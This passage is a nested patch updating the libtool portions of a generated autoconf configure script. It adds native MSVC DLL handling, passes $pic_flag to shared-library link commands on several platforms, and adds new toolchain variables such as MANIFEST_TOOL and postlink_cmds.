+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9215,20 +9750,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9289,7 +9867,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9297,7 +9875,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9313,7 +9891,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9337,10 +9915,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9419,23 +9997,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9520,7 +10111,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9539,9 +10130,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10117,8 +10708,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10151,13 +10743,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -11035,7 +11685,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11038 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11079,10 +11729,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -11141,7 +11791,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 11144 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -11185,10 +11835,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -13390,13 +14040,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -13411,14 +14068,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -13451,12 +14111,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -13511,8 +14171,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -13522,12 +14187,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -13543,7 +14210,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -13579,6 +14245,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -14344,7 +15011,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -14447,19 +15115,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -14489,6 +15180,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -14498,6 +15195,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -14612,12 +15312,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -14704,9 +15404,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -14722,6 +15419,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -14754,210 +15454,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
